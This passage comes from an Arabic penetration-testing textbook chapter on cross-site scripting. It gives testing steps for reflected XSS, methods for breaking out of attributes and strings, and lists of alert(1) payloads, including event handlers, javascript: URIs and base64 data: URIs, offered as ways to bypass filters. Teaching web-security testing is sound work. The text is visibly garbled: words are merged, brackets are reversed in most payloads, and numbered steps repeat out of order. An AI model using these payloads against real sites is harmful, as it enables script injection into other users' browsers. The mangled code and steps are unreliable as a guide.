ﻗﻢﺑﺈﺭﺳﺎﻝ ﻫﺬﻩ ﺍﻟﺴﻠﺴﻠﺔ ﻛﻤﻌﻠﻤﺔ ﻟﻜﻞ ﺻﻔﺤﺔ ،ﻣﻊ ﺍﺳﺘﻬﺪﺍﻑ ﻣﻌﻠﻤﺔ ﻭﺍﺣﺪﺓ ﻓﻘﻂ ﻓﻲ
ﻛﻞﻣﺮﺓ.
.٢ﺭﺍﻗﺐ ﺍﺳﺘﺠﺎﺑﺎﺕ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺤﺜﺎً ﻋﻦ ﺃﻱ ﻇﻬﻮﺭ ﻟﻬﺬﻩ ﺍﻟﺴﻠﺴﻠﺔ ﻧﻔﺴﻬﺎ .ﺩﻭﻥّ ﻛﻞ ﻣﻌﻠﻤﺔ ﺗﻨُﺴﺦ
ﻗﻴﻤﺘﻬﺎﻓﻲ ﺍﺳﺘﺠﺎﺑﺔ ﺍﻟﺘﻄﺒﻴﻖ .ﻫﺬﻩ ﻟﻴﺴﺖ ﺑﺎﻟﻀﺮﻭﺭﺓ ﻋﺮﺿﺔ ﻟﻠﺨﻄﺮ ،ﻭﻟﻜﻦ ﻛﻞ ﺣﺎﻟﺔ ﻳﺘﻢ
ﺗﺤﺪﻳﺪﻫﺎﻣﺮﺷﺤﺔ ﻟﻤﺰﻳﺪ ﻣﻦ ﺍﻟﺘﺤﻘﻴﻖ ،ﻛﻤﺎ ﻫﻮ ﻣﻮﺿﺢ ﻓﻲ ﺍﻟﻘﺴﻢ ﺍﻟﺘﺎﻟﻲ.
.4ﻓﻲ ﺃﻱ ﺍﻟﺤﺎﻻﺕ ﺍﻟﺘﻲ ﺗﻢ ﻓﻴﻬﺎ ﺍﻟﻌﺜﻮﺭ ﻋﻠﻰ XSSﻓﻲﺑﺮﻳﺪﻃﻠﺐ ،ﺍﺳﺘﺨﺪﻡ ﺧﻴﺎﺭ "ﺗﻐﻴﻴﺮ ﻃﺮﻳﻘﺔ
ﺍﻟﻄﻠﺐ" ﻓﻲ Burpﻟﺘﺤﺪﻳﺪ ﻣﺎ ﺇﺫﺍ ﻛﺎﻥ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺗﻨﻔﻴﺬ ﻧﻔﺲ ﺍﻟﻬﺠﻮﻡ ﻛـﻳﺤﺼﻞﻃﻠﺐ.
.٥ﺑﺎﻹﺿﺎﻓﺔ ﺇﻟﻰ ﻣﻌﻠﻤﺎﺕ ﺍﻟﻄﻠﺐ ﺍﻟﻘﻴﺎﺳﻴﺔ ،ﻳﺠﺐ ﻋﻠﻴﻚ ﺍﺧﺘﺒﺎﺭ ﻛﻞ ﺣﺎﻟﺔ ﻳﻌﺎﻟﺞ ﻓﻴﻬﺎ ﺍﻟﺘﻄﺒﻴﻖ
ﻣﺤﺘﻮﻳﺎﺕﺭﺃﺱ ﻃﻠﺐ .HTTPﺗﻈﻬﺮ ﺛﻐﺮﺓ XSSﺷﺎﺉﻌﺔ ﻓﻲ ﺭﺳﺎﺉﻞ ﺍﻟﺨﻄﺄ ،ﺣﻴﺚ ﺗﻈﻬﺮ
ﻋﻨﺎﺻﺮﻣﺜﻞﺍﻟﻤﺤُﻴﻞﻭﻭﻛﻴﻞ ﺍﻟﻤﺴﺘﺨﺪﻡﺕﻳﺘﻢ ﻧﺴﺦ ﺍﻟﺮﺅﻭﺱ ﺇﻟﻰ ﻣﺤﺘﻮﻯ ﺍﻟﺮﺳﺎﻟﺔ .ﺗﻌُﺪ ﻫﺬﻩ
ﺍﻟﺮﺅﻭﺱﺃﺩﻭﺍﺕ ﻓﻌﺎﻟﺔ ﻟﺘﻨﻔﻴﺬ ﻫﺠﻮﻡ XSSﻣﻨﻌﻜﺲ ،ﺇﺫ ﻳﻤﻜﻦ ﻟﻠﻤﻬﺎﺟﻢ ﺍﺳﺘﺨﺪﺍﻡ ﻛﺎﺉﻦ
Flashﻟﺤﺚ ﺍﻟﻀﺤﻴﺔ ﻋﻠﻰ ﺇﺭﺳﺎﻝ ﻃﻠﺐ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﺭﺅﻭﺱ HTTPﻋﺸﻮﺍﺉﻴﺔ.
ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ 454
ﺇﺣﺪﻯﺍﻟﻄﺮﻕ ﺍﻟﻮﺍﺿﺤﺔ ﻹﻧﺸﺎء ﺍﺳﺘﻐﻼﻝ XSSﻫﻲ ﺇﻧﻬﺎء ﻋﻼﻣﺎﺕ ﺍﻻﻗﺘﺒﺎﺱ ﺍﻟﻤﺰﺩﻭﺟﺔ ﺍﻟﺘﻲ ﺗﺤﻴﻂ
ﺑﻘﻴﻤﺔﺍﻟﺴﻤﺔ ،ﻭﺇﻏﻼﻕ >ﺍﻹﺩﺧﺎﻝ<ﺍﻟﻌﻼﻣﺔ ،ﺛﻢ ﺍﺳﺘﺨﺪﻡ ﺑﻌﺾ ﺍﻟﻮﺳﺎﺉﻞ ﻹﺩﺧﺎﻝ ،JavaScriptﻣﺜﻞ >
ﻧﺺ<ﺍﻟﻌﻼﻣﺔ .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ:
<>/scriptﺗﻨﺒﻴﻪ)"<>script<(1
ﺍﻟﻄﺮﻳﻘﺔﺍﻟﺒﺪﻳﻠﺔ ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ ،ﻭﺍﻟﺘﻲ ﻗﺪ ﺗﺘﺠﺎﻭﺯ ﻣﺮﺷﺤﺎﺕ ﺍﻹﺩﺧﺎﻝ ﻣﻌﻴﻨﺔ ،ﻫﻲ ﺍﻟﺒﻘﺎء ﺩﺍﺧﻞ >
ﺍﻹﺩﺧﺎﻝ<ﺍﻟﻌﻼﻣﺔ ﻧﻔﺴﻬﺎ ،ﻭﻟﻜﻦ ﺍﺣﻘﻦ ﻣﻌﺎﻟﺞ ﺣﺪﺙ ﻳﺤﺘﻮﻱ ﻋﻠﻰ .JavaScriptﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ:
(" onfocus="alert)1
ﻫﻨﺎ،ﻳﺘﻢ ﺇﺩﺭﺍﺝ ﺍﻟﻤﺪُﺧﻞ ﺍﻟﺬﻱ ﺗﺘﺤﻜﻢ ﻓﻴﻪ ﻣﺒﺎﺷﺮﺓ ًﻓﻲ ﺳﻠﺴﻠﺔ ﻧﺼﻴﺔ ﻣﻘُﺘﺒﺴﺔ ﺿﻤﻦ ﻧﺺ ﺑﺮﻣﺠﻲ
ﻣﻮﺟﻮﺩ.ﻹﻧﺸﺎء ﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ ،ﻳﻤﻜﻨﻚ ﺇﻧﻬﺎء ﻋﻼﻣﺎﺕ ﺍﻻﻗﺘﺒﺎﺱ ﺍﻟﻤﻔﺮﺩﺓ ﺣﻮﻝ ﺍﻟﺴﻠﺴﻠﺔ ،ﻭﺇﻧﻬﺎء ﺍﻟﻌﺒﺎﺭﺓ
ﺑﻔﺎﺻﻠﺔﻣﻨﻘﻮﻃﺔ ،ﺛﻢ ﺍﻻﻧﺘﻘﺎﻝ ﻣﺒﺎﺷﺮﺓ ًﺇﻟﻰ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ﺍﻟﻤﻄﻠﻮﺏ:
ﻻﺣﻆﺃﻧﻪ ﻧﻈﺮﺍً ﻷﻧﻚ ﺃﻧﻬﻴﺖ ﺳﻠﺴﻠﺔ ﻧﺼﻴﺔ ﺑﻴﻦ ﻋﻼﻣﺘﻲ ﺍﻗﺘﺒﺎﺱ ،ﻟﻤﻨﻊ ﺣﺪﻭﺙ ﺃﺧﻄﺎء ﺩﺍﺧﻞ
ﻣﻔُﺴﺮّﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ،ﻳﺠﺐ ﻋﻠﻴﻚ ﺍﻟﺘﺄﻛﺪ ﻣﻦ ﺍﺳﺘﻤﺮﺍﺭ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺑﺴﻼﺳﺔ ﻣﻊ ﺑﻨﺎء ﺟﻤﻠﺔ
ﺻﺤﻴﺢﺑﻌﺪ ﺍﻟﻜﻮﺩ ﺍﻟﺬﻱ ﺃﺩﺧﻠﺘﻪ .ﻓﻲ ﻫﺬﺍ ﺍﻟﻤﺜﺎﻝ ،ﺍﻟﻤﺘﻐﻴﺮﻓﻮﻳﺘﻢ ﺍﻹﻋﻼﻥ ﻋﻦ ﺫﻟﻚ ،ﻭﻳﺘﻢ ﻓﺘﺢ ﺳﻠﺴﻠﺔ
ﻧﺼﻴﺔﺛﺎﻧﻴﺔ ﺑﻴﻦ ﻗﻮﺳﻴﻦ .ﺳﻴﺘﻢ ﺇﻧﻬﺎء ﺍﻟﺴﻠﺴﻠﺔ ﺑﺎﻟﻜﻮﺩ ﺍﻟﺬﻱ ﻳﻠﻴﻬﺎ ﻣﺒﺎﺷﺮﺓ ً.ﻫﻨﺎﻙ ﻃﺮﻳﻘﺔ ﺃﺧﺮﻯ ﻓﻌﺎّﻟﺔ
ﻏﺎﻟﺒﺎًﻭﻫﻲ ﺇﻧﻬﺎء ﻣﺪُﺧﻼﺗﻚ ﺑﻌﻼﻣﺔ //ﻟﺘﻌﻠﻴﻖ ﻣﺎ ﺗﺒﻘﻰ ﻣﻦ ﺍﻟﺴﻄﺮ.
455 ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ
;(javascript:alert)1
ﻧﻈﺮﺍًﻷﻥ ﺇﺩﺧﺎﻟﻚ ﻳﻨﻌﻜﺲ ﺩﺍﺧﻞ ﺳﻤﺔ ﺍﻟﻌﻼﻣﺔ ،ﻓﻴﻤﻜﻨﻚ ﺃﻳﻀﺎً ﺣﻘﻦ ﻣﻌﺎﻟﺞ ﺣﺪﺙ ،ﻛﻤﺎ ﻫﻮ
ﻣﻮﺿﺢﺑﺎﻟﻔﻌﻞ.
ﺑﺎﻟﻨﺴﺒﺔﻟﻠﻬﺠﻮﻡ ﺍﻟﺬﻱ ﻳﻌﻤﻞ ﺿﺪ ﺟﻤﻴﻊ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﺍﻟﺤﺎﻟﻴﺔ ،ﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﺍﺳﻢ ﺻﻮﺭﺓ ﻏﻴﺮ
ﺻﺎﻟﺢﻣﻊﻋﻨﺪ ﺍﻟﻨﻘﺮﻣﻌﺎﻟﺞ ﺍﻟﺤﺪﺙ:
(# ”onclick=”javascript:alert)1
ﻧﺼﻴﺤﺔﻛﻤﺎ ﻫﻮ ﺍﻟﺤﺎﻝ ﻣﻊ ﺍﻟﻬﺠﻤﺎﺕ ﺍﻷﺧﺮﻯ ،ﺗﺄﻛﺪ ﻣﻦ ﺗﺮﻣﻴﺰ ﻋﻨﻮﺍﻥ URLﻷﻱ ﺃﺣﺮﻑ ﺧﺎﺻﺔ ﻟﻬﺎ
ﺃﻫﻤﻴﺔﺩﺍﺧﻞ ﺍﻟﻄﻠﺐ ،ﺑﻤﺎ ﻓﻲ ﺫﻟﻚ & = ; +ﻭﺍﻟﻤﺴﺎﻓﺔ.
ﺧﻄﻮﺍﺕﺍﻻﺧﺘﺮﺍﻕ
.2ﺇﺫﺍ ﻇﻬﺮﺕ ﺍﻟﺴﻠﺴﻠﺔ ﺃﻛﺜﺮ ﻣﻦ ﻣﺮﺓ ،ﻓﻴﺠﺐ ﺍﻟﺘﻌﺎﻣﻞ ﻣﻊ ﻛﻞ ﻇﻬﻮﺭ ﻋﻠﻰ ﺃﻧﻪ ﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ ﻣﺤﺘﻤﻠﺔ
ﻣﻨﻔﺼﻠﺔﻭﺍﻟﺘﺤﻘﻴﻖ ﻓﻴﻬﺎ ﺑﺸﻜﻞ ﻓﺮﺩﻱ.
.٣ﺣﺪﺩ ،ﻣﻦ ﻣﻮﻗﻊ ﺍﻟﺴﻠﺴﻠﺔ ﺍﻟﻨﺼﻴﺔ ﺍﻟﺘﻲ ﻳﻤﻜﻦ ﻟﻠﻤﺴﺘﺨﺪﻡ ﺍﻟﺘﺤﻜﻢ ﺑﻬﺎ ﺩﺍﺧﻞ ﻣﻠﻒ ،HTML
ﻛﻴﻔﻴﺔﺗﻌﺪﻳﻠﻬﺎ ﻟﺘﺸﻐﻴﻞ ﺃﻱ ﻧﺺ ﺑﺮﻣﺠﻲ .ﻋﺎﺩﺓ ً،ﺗﻌُﺪ ّﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﻄﺮﻕ ﺍﻟﻤﺨﺘﻠﻔﺔ ﻣﺮﻛﺒﺎﺕ
ﻣﺤﺘﻤﻠﺔﻟﻠﻬﺠﻮﻡ ،ﻛﻤﺎ ﻫﻮ ﻣﻮﺿﺢ ﻻﺣﻘﺎً ﻓﻲ ﻫﺬﺍ ﺍﻟﻔﺼﻞ.
.٤ﺍﺧﺘﺒﺮ ﺛﻐﺮﺗﻚ ﺍﻟﺒﺮﻣﺠﻴﺔ ﺑﺈﺭﺳﺎﻟﻬﺎ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ .ﺇﺫﺍ ﻛﺎﻧﺖ ﺍﻟﺴﻠﺴﻠﺔ ﺍﻟﺒﺮﻣﺠﻴﺔ ﺍﻟﺘﻲ ﺃﻧﺸﺄﺗﻬﺎ ﻻ
ﺗﺰﺍﻝﺗﻌُﺎﺩ ﺩﻭﻥ ﺗﻌﺪﻳﻞ ،ﻓﺎﻟﺘﻄﺒﻴﻖ ﻣﻌﺮﺽ ﻟﻠﺨﻄﺮ .ﺗﺄﻛﺪ ﺟﻴﺪﺍً ﻣﻦ ﺻﺤﺔ ﺑﻨﺎء ﺍﻟﺠﻤﻠﺔ ﺑﺎﺳﺘﺨﺪﺍﻡ
ﻧﺺﺑﺮﻣﺠﻲ ﻹﺛﺒﺎﺕ ﺍﻟﻤﻔﻬﻮﻡ ﻟﻌﺮﺽ ﻣﺮﺑﻊ ﺣﻮﺍﺭ ﺗﻨﺒﻴﻪ ،ﻭﺗﺄﻛﺪ ﻣﻦ ﻇﻬﻮﺭﻩ ﻓﻌﻠﻴﺎً ﻓﻲ ﻣﺘﺼﻔﺤﻚ
ﻋﻨﺪﻋﺮﺽ ﺍﻻﺳﺘﺠﺎﺑﺔ.
ﺍﺳﺘﻜﺸﺎﻑﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﺪﻓﺎﻋﻴﺔ
ﻓﻲﻛﺜﻴﺮ ﻣﻦ ﺍﻷﺣﻴﺎﻥ ،ﺳﺘﻜﺘﺸﻒ ﺃﻥ ﺍﻟﺨﺎﺩﻡ ﻳﻌﺪﻝ ﻣﺤﺎﻭﻻﺕ ﺍﻻﺳﺘﻐﻼﻝ ﺍﻷﻭﻟﻴﺔ ﺍﻟﺨﺎﺻﺔ ﺑﻚ ﺑﻄﺮﻳﻘﺔ
ﻣﺎ،ﺑﺤﻴﺚ ﻻ ﻳﻨﺠﺢ ﻓﻲ ﺗﻨﻔﻴﺬ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﺬﻱ ﻗﻤﺖ ﺑﺤﻘﻨﻪ.
ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ 456
ﺇﺫﺍﺣﺪﺙ ﻫﺬﺍ ،ﻓﻼ ﺗﻴﺄﺱ! ﻣﻬﻤﺘﻚ ﺍﻟﺘﺎﻟﻴﺔ ﻫﻲ ﺗﺤﺪﻳﺪ ﻋﻤﻠﻴﺔ ﺍﻟﻤﻌﺎﻟﺠﺔ ﻋﻠﻰ ﺟﺎﻧﺐ ﺍﻟﺨﺎﺩﻡ ﺍﻟﺘﻲ ﺗﺆﺛﺮ
ﻋﻠﻰﻣﺪﺧﻼﺗﻚ .ﻫﻨﺎﻙ ﺛﻼﺛﺔ ﺍﺣﺘﻤﺎﻻﺕ ﺭﺉﻴﺴﻴﺔ:
ﻟﻘﺪﺣﺪﺩ ﺍﻟﺘﻄﺒﻴﻖ )ﺃﻭ ﺟﺪﺍﺭ ﺣﻤﺎﻳﺔ ﺗﻄﺒﻴﻖ ﺍﻟﻮﻳﺐ ﺍﻟﺬﻱ ﻳﺤﻤﻲ ﺍﻟﺘﻄﺒﻴﻖ( ﺗﻮﻗﻴﻊ ﻫﺠﻮﻡ ﻭﻗﺎﻡ -
ﺑﺤﻈﺮﺇﺩﺧﺎﻟﻚ.
ﻟﻘﺪﻗﺒﻞ ﺍﻟﺘﻄﺒﻴﻖ ﻣﺪﺧﻼﺗﻚ ﻭﻟﻜﻨﻪ ﺃﺟﺮﻯ ﺑﻌﺾ ﺃﻧﻮﺍﻉ ﺍﻟﺘﻄﻬﻴﺮ ﺃﻭ ﺍﻟﺘﺮﻣﻴﺰ ﻋﻠﻰ ﺳﻠﺴﻠﺔ -
ﺍﻟﻬﺠﻮﻡ.
ﻟﻘﺪﻗﺎﻡ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺘﻘﻠﻴﺺ ﺳﻠﺴﻠﺔ ﻫﺠﻮﻣﻚ ﺇﻟﻰ ﻃﻮﻝ ﺃﻗﺼﻰ ﺛﺎﺑﺖ. -
ﺳﻨﻨﻈﺮﺇﻟﻰ ﻛﻞ ﺳﻴﻨﺎﺭﻳﻮ ﻋﻠﻰ ﺣﺪﺓ ﻭﻧﻨﺎﻗﺶ ﺍﻟﻄﺮﻕ ﺍﻟﻤﺨﺘﻠﻔﺔ ﺍﻟﺘﻲ ﻳﻤﻜﻦ ﻣﻦ ﺧﻼﻟﻬﺎ ﺗﺠﺎﻭﺯ
ﺍﻟﻌﻮﺍﺉﻖﺍﻟﺘﻲ ﻳﻔﺮﺿﻬﺎ ﻣﻌﺎﻟﺠﺔ ﺍﻟﺘﻄﺒﻴﻖ.
ﻓﻲﺍﻟﻨﻮﻉ ﺍﻷﻭﻝ ﻣﻦ ﺍﻟﻤﺮﺷﺤﺎﺕ ،ﻳﺴﺘﺠﻴﺐ ﺍﻟﺘﻄﺒﻴﻖ ﻋﺎﺩﺓ ًﻟﺴﻠﺴﻠﺔ ﺍﻟﻬﺠﻮﻡ ﺍﻟﺨﺎﺻﺔ ﺑﻚ ﺑـ
ﺇﺫﺍﺣﺪﺙ ﻫﺬﺍ ،ﻓﺎﻟﺨﻄﻮﺓ ﺍﻟﺘﺎﻟﻴﺔ ﻫﻲ ﺗﺤﺪﻳﺪ ﺍﻷﺣﺮﻑ ﺃﻭ ﺍﻟﺘﻌﺒﻴﺮﺍﺕ ﻓﻲ ﻣﺪُﺧﻼﺗﻚ ﺍﻟﺘﻲ ﺗﻔُﻌﻞّ
ﺍﻟﻤﺮُﺷﺢِّ.ﺇﺣﺪﻯ ﺍﻟﻄﺮﻕ ﺍﻟﻔﻌﺎّﻟﺔ ﻫﻲ ﺇﺯﺍﻟﺔ ﺃﺟﺰﺍء ﻣﺨُﺘﻠﻔﺔ ﻣﻦ ﺍﻟﺴﻠﺴﻠﺔ ﺍﻟﻨﺼﻴﺔ ﺑﺎﻟﺘﺮﺗﻴﺐ ،ﻭﻣﻌﺮﻓﺔ ﻣﺎ
ﺇﺫﺍﻛﺎﻥ ﺍﻟﻤﺪُﺧﻞ ﻻ ﻳﺰﺍﻝ ﻣﺤُﻈﻮﺭﺍً .ﻋﺎﺩﺓ ً،ﺗﺆُﻛﺪّ ﻫﺬﻩ ﺍﻟﻌﻤﻠﻴﺔ ﺑﺴﺮﻋﺔ ﺃﻥ ﺗﻌﺒﻴﺮﺍً ﻣﺤُﺪﺩﺍً ﻣﺜﻞ >ﻧﺺ<
ﻳﺆﺩﻱﻫﺬﺍ ﺇﻟﻰ ﺣﻈﺮ ﺍﻟﻄﻠﺐ .ﻋﻠﻴﻚ ﺑﻌﺪ ﺫﻟﻚ ﺍﺧﺘﺒﺎﺭ ﺍﻟﻔﻠﺘﺮ ﻟﻠﺘﺄﻛﺪ ﻣﻦ ﻭﺟﻮﺩ ﺃﻱ ﺗﺠﺎﻭﺯﺍﺕ.
ﻳﻤﻜﻨﻚﺍﺳﺘﺨﺪﺍﻡ ﻃﺮﻕ ﻣﺨﺘﻠﻔﺔ ﻟﺘﺸﻐﻴﻞ ﺍﻟﻨﺼﻮﺹ ﺍﻟﺒﺮﻣﺠﻴﺔ ،ﺃﻭ ﺍﺳﺘﺨﺪﺍﻡ ﺑﻨﺎء ﺟﻤﻠﺔ ﻣﺸﻮﻩ ﻗﻠﻴﻼً،
ﻭﻫﻮﻣﺎ ﺗﺘﻘﺒﻠﻪ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ .ﻳﺘﻨﺎﻭﻝ ﻫﺬﺍ ﺍﻟﻘﺴﻢ ﺍﻟﻄﺮﻕ ﺍﻟﻌﺪﻳﺪﺓ ﻭﺍﻟﻤﺨﺘﻠﻔﺔ ﻟﺘﺸﻐﻴﻞ ﺍﻟﻨﺼﻮﺹ
ﺍﻟﺒﺮﻣﺠﻴﺔ،ﺛﻢ ﻳﺼﻒ ﻣﺠﻤﻮﻋﺔ ﻭﺍﺳﻌﺔ ﻣﻦ ﺍﻟﺘﻘﻨﻴﺎﺕ ﺍﻟﺘﻲ ﻳﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻣﻬﺎ ﻟﺘﺠﺎﻭﺯ ﺍﻟﻤﺮﺷﺤﺎﺕ
ﺍﻟﺸﺎﺉﻌﺔ.
ﻣﻠﺤﻮﻇﺔﻳﺨﺘﻠﻒ ﺩﻋﻢ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﻟﻘﻮﺍﻋﺪ HTMLﻭﻗﻮﺍﻋﺪ ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﺍﺧﺘﻼﻓﺎً ﻛﺒﻴﺮﺍً .ﻏﺎﻟﺒﺎً ﻣﺎ
ﻳﺘﻐﻴﺮﺳﻠﻮﻙ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﺍﻟﻔﺮﺩﻳﺔ ﻣﻊ ﻛﻞ ﺇﺻﺪﺍﺭ ﺟﺪﻳﺪ .ﻟﺬﻟﻚ ،ﺃﻱ ﺩﻟﻴﻞ "ﻧﻬﺎﺉﻲ" ﻟﺴﻠﻮﻙ
ﺍﻟﻤﺘﺼﻔﺤﺎﺕﺍﻟﻔﺮﺩﻳﺔ ﻗﺪ ﻳﺼﺒﺢ ﻗﺪﻳﻤﺎً ﺑﺴﺮﻋﺔ .ﻭﻣﻊ ﺫﻟﻚ ،ﻣﻦ ﻣﻨﻈﻮﺭ ﺃﻣﻨﻲ ،ﻳﺠﺐ ﺃﻥ ﺗﻌﻤﻞ
ﺍﻟﺘﻄﺒﻴﻘﺎﺕﺑﻜﻔﺎءﺓ ﻋﺎﻟﻴﺔ ﻣﻊ ﺟﻤﻴﻊ ﺍﻹﺻﺪﺍﺭﺍﺕ ﺍﻟﺤﺎﻟﻴﺔ ﻭﺍﻟﺤﺪﻳﺜﺔ ﻣﻦ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﺍﻟﺸﺎﺉﻌﺔ .ﺇﺫﺍ ﻛﺎﻥ
ﻣﻦﺍﻟﻤﻤﻜﻦ ﺷﻦ ﻫﺠﻮﻡ XSSﺑﺎﺳﺘﺨﺪﺍﻡ ﻣﺘﺼﻔﺢ ﻭﺍﺣﺪ ﻣﺤﺪﺩ ﻓﻘﻂ ﻳﺴﺘﺨﺪﻣﻪ ﻋﺪﺩ ﻗﻠﻴﻞ ﻣﻦ
ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ،ﻓﺈﻥ ﻫﺬﺍ ﻻ ﻳﺰﺍﻝ ﻳﻤﺜﻞ ﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ ﻳﺠﺐ ﺇﺻﻼﺣﻬﺎ .ﺟﻤﻴﻊ ﺍﻷﻣﺜﻠﺔ ﺍﻟﻮﺍﺭﺩﺓ ﻓﻲ ﻫﺬﺍ
ﺍﻟﻔﺼﻞﺗﻌﻤﻞ ﻋﻠﻰ ﻣﺘﺼﻔﺢ ﺭﺉﻴﺴﻲ ﻭﺍﺣﺪ ﻋﻠﻰ ﺍﻷﻗﻞ ﻭﻗﺖ ﻛﺘﺎﺑﺔ ﻫﺬﺍ ﺍﻟﺘﻘﺮﻳﺮ.
ﻋﻼﻣﺎﺕﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ
ﻣﺎﻭﺭﺍء ﺍﻻﺳﺘﺨﺪﺍﻡ ﺍﻟﻤﺒﺎﺷﺮ ﻟـ >ﻧﺺ<ﺍﻟﻌﻼﻣﺔ ،ﻫﻨﺎﻙ ﻃﺮﻕ ﻣﺨﺘﻠﻔﺔ ﻳﻤﻜﻨﻚ ﻣﻦ ﺧﻼﻟﻬﺎ ﺍﺳﺘﺨﺪﺍﻡ ﺑﻨﺎء
ﺟﻤﻠﺔﻣﻌﻘﺪ ﺇﻟﻰ ﺣﺪ ﻣﺎ ﻟﺘﻐﻠﻴﻒ ﺍﺳﺘﺨﺪﺍﻡ ﺍﻟﻌﻼﻣﺔ ،ﻣﻤﺎ ﻳﺆﺩﻱ ﺇﻟﻰ ﺇﺣﺒﺎﻁ ﺑﻌﺾ ﺍﻟﻤﺮﺷﺤﺎﺕ:
<”<>object data=”data:text/html,>script<alert)1(>/script
<>/aﺍﻧﻘﺮ ﻫﻨﺎ <”==>a href=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg
<”==>object data=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg
<>/scriptﺗﻨﺒﻴﻪ)>script<(1
ﻣﻌﺎﻟﺠﺎﺕﺍﻷﺣﺪﺍﺙ
ﻳﻤﻜﻦﺍﺳﺘﺨﺪﺍﻡ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﻣﻌﺎﻟﺠﺎﺕ ﺍﻷﺣﺪﺍﺙ ﻣﻊ ﻭﺳﻮﻡ ﻣﺨﺘﻠﻔﺔ ﻟﺘﺸﻐﻴﻞ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ .ﻓﻴﻤﺎ
ﻳﻠﻲﺑﻌﺾ ﺍﻷﻣﺜﻠﺔ ﻏﻴﺮ ﺍﻟﻤﻌﺮﻭﻓﺔ ﺍﻟﺘﻲ ﺗﻨُﻔﺬّ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺩﻭﻥ ﺍﻟﺤﺎﺟﺔ ﺇﻟﻰ ﺃﻱ ﺗﻔﺎﻋﻞ ﻣﻦ
ﺍﻟﻤﺴﺘﺨﺪﻡ:
<(>iframe onreadystatechange=alert)1
<(>style onreadystatechange=alert)1
<(>xml onreadystatechange=alert)1
ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ 458
<(>object onerror=alert)1
<(type=image src=valid.gif onreadystatechange=alert)1(< >script onreadystatechange=alert)1
>input type=image src=valid.gif onreadystatechange=alert)1(< >isindex
<(/object< >img type=image src=valid.gif onreadystatechange=alert)1
><(>object type=image src=valid.gif onreadystatechange=alert)1
<(>body onactivate=alert)1
<(>body onbeforeactivate=alert)1
<(>bgsound onpropertychange=alert)1
<(>body onfocusin=alert)1
<(>/a onmousemove=alert)1
<(>embed src=javascript:alert)1
<(>iframe src=javascript:alert)1
<(>object data=javascript:alert)1
ﻋﻠﻰﺍﻟﺮﻏﻢ ﻣﻦ ﺃﻥﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖﻳﺘﻢ ﺗﻘﺪﻳﻢ ﺍﻟﺒﺮﻭﺗﻮﻛﻮﻝ ﺍﻟﺰﺍﺉﻒ ﻋﺎﺩﺓ ًﻛﻤﺜﺎﻝ ﻟﻬﺬﻩ ﺍﻟﺘﻘﻨﻴﺔ،
ﻭﻳﻤﻜﻨﻚﺃﻳﻀﺎً ﺍﺳﺘﺨﺪﺍﻡﻓﺒﺲﺍﻟﺒﺮﻭﺗﻮﻛﻮﻝ ﺍﻟﻤﻮﺟﻮﺩ ﻋﻠﻰ ﻣﺘﺼﻔﺤﺎﺕ ،Internet Explorerﻛﻤﺎ ﻫﻮ
ﻣﻮﺿﺢﻻﺣﻘﺎً ﻓﻲ ﻫﺬﺍ ﺍﻟﻔﺼﻞ.
